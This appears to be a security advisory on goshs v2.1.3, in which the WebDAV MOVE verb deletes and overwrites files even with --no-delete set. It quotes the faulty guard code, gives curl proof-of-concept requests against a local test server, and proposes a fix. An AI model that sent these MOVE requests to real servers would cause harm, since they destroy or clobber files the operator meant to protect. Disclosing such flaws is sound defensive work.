"summary" : "goshs --no-delete WebDAV MOVE bypass allows file deletion/overwrite",
"details" : "## Summary\n\nThe WebDAV mode-flag guard added to fix GHSA-3whc-qvhv-xqjp still does not enforce `--no-delete` on the WebDAV `MOVE` verb. `MOVE` deletes the source file (rename removes it from its original path), and with `Overwrite: T` it additionally performs an explicit `RemoveAll` on the destination. Under `-w --no-delete`, `DELETE` is correctly blocked (403) but `MOVE` still destroys existing files, defeating the documented \"Disable the delete option\" boundary.\n\nThis is a residual of the parent fix: the guard classifies `MOVE`/`COPY` as write-only verbs (blocked only under `--read-only`) and never treats `MOVE` as a delete, so the `--no-delete` branch never covers it.\n\n## Affected\n\ngoshs v2.1.3 (current release, commit `ba00ce3`). The guard was introduced when GHSA-3whc-qvhv-xqjp was fixed and carries the gap forward.\n\n## Details\n\n`httpserver/server.go`, `wdGuard` (lines 237-254):\n\n```go\nwdGuard := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n switch r.Method {\n case http.MethodPut, \"MKCOL\", \"MOVE\", \"COPY\":\n if fs.ReadOnly {\n http.Error(w, \"read-only\", http.StatusForbidden)\n return\n }\n case http.MethodDelete:\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"delete disabled\", http.StatusForbidden)\n return\n }\n case http.MethodGet, http.MethodHead:\n if fs.UploadOnly {\n http.Error(w, \"upload-only\", http.StatusForbidden)\n return\n }\n }\n ...\n```\n\n`MOVE` lives in the first case and is gated only by `fs.ReadOnly`. It is never checked against `fs.NoDelete`. But `MOVE` in `golang.org/x/net/webdav` (`file.go`, `moveFiles`) calls `fs.Rename(ctx, src, dst)`, which removes the source from its original location, and when the `Overwrite: T` header is present it first calls `fs.RemoveAll(ctx, dst)` on an existing destination. Both are deletions. So `--no-delete`, whose help text reads \"Disable the delete option\", does not disable deletion via `MOVE`.\n\nThe `.goshs` ACL layer (`webdav_acl.go`) checks auth and block-lists only; it does not enforce the mode flags, so it does not close this gap.\n\n## Proof of concept\n\nReproduced live against goshs v2.1.3 on 2026-07-02. Server started with `--no-delete` and WebDAV enabled:\n\n```\n$ printf 'TOP-SECRET-CONTENTS\\n' > webroot/secret.txt\n$ printf 'VICTIM-EXISTING-FILE\\n' > webroot/victim.txt\n$ goshs -d webroot -i 127.0.0.1 -p 18080 --webdav --webdav-port 18081 --no-delete\nINFO Serving WEBDAV on 127.0.0.1:18081 from webroot\n```\n\nControl - DELETE is correctly blocked:\n\n```\n$ curl -s -i -X DELETE http://127.0.0.1:18081/secret.txt\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt still exists on disk.\n\nBypass 1 - MOVE removes the source file despite --no-delete:\n\n```\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/gone.txt' http://127.0.0.1:18081/secret.txt\nHTTP/1.1 201 Created\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n```\n\nsecret.txt is now deleted from disk (its content is at gone.txt).\n\nBypass 2 - MOVE with Overwrite:T destroys an existing victim file:\n\n```\n# before: victim.txt = VICTIM-EXISTING-FILE\n$ curl -s -i -X MOVE -H 'Destination: http://127.0.0.1:18081/victim.txt' -H 'Overwrite: T' http://127.0.0.1:18081/gone.txt\nHTTP/1.1 204 No Content\nServer: goshs/v2.1.3 (darwin; go1.26.1)\n# after: victim.txt = TOP-SECRET-CONTENTS (original VICTIM-EXISTING-FILE destroyed via RemoveAll)\n```\n\n## Impact\n\nAn operator running `goshs -w --no-delete -d /srv/artifacts` to deliver files that must not be removed still allows any WebDAV client to delete or clobber existing files via `MOVE`. Confidential existing files can be renamed away or overwritten. The `--no-delete` control is silently ineffective on the WebDAV port for the `MOVE` verb.\n\n## Suggested fix\n\nMove `MOVE` (and `COPY` on collision-with-overwrite, which also deletes) into the delete-gated branch, or add `fs.NoDelete` to the write-verb branch for `MOVE`:\n\n```go\ncase http.MethodPut, \"MKCOL\", \"COPY\":\n if fs.ReadOnly {\n http.Error(w, \"read-only\", http.StatusForbidden)\n return\n }\ncase \"MOVE\":\n // MOVE renames (deletes source) and, with Overwrite:T, RemoveAll(dst).\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"move disabled\", http.StatusForbidden)\n return\n }\ncase http.MethodDelete:\n if fs.ReadOnly || fs.UploadOnly || fs.NoDelete {\n http.Error(w, \"delete disabled\", http.StatusForbidden)\n return\n }\n```\n\nAdd an integration test covering `MOVE` under `--no-delete` (the current `testWebdavMoveCopy` only exercises MOVE/COPY in unrestricted mode).",
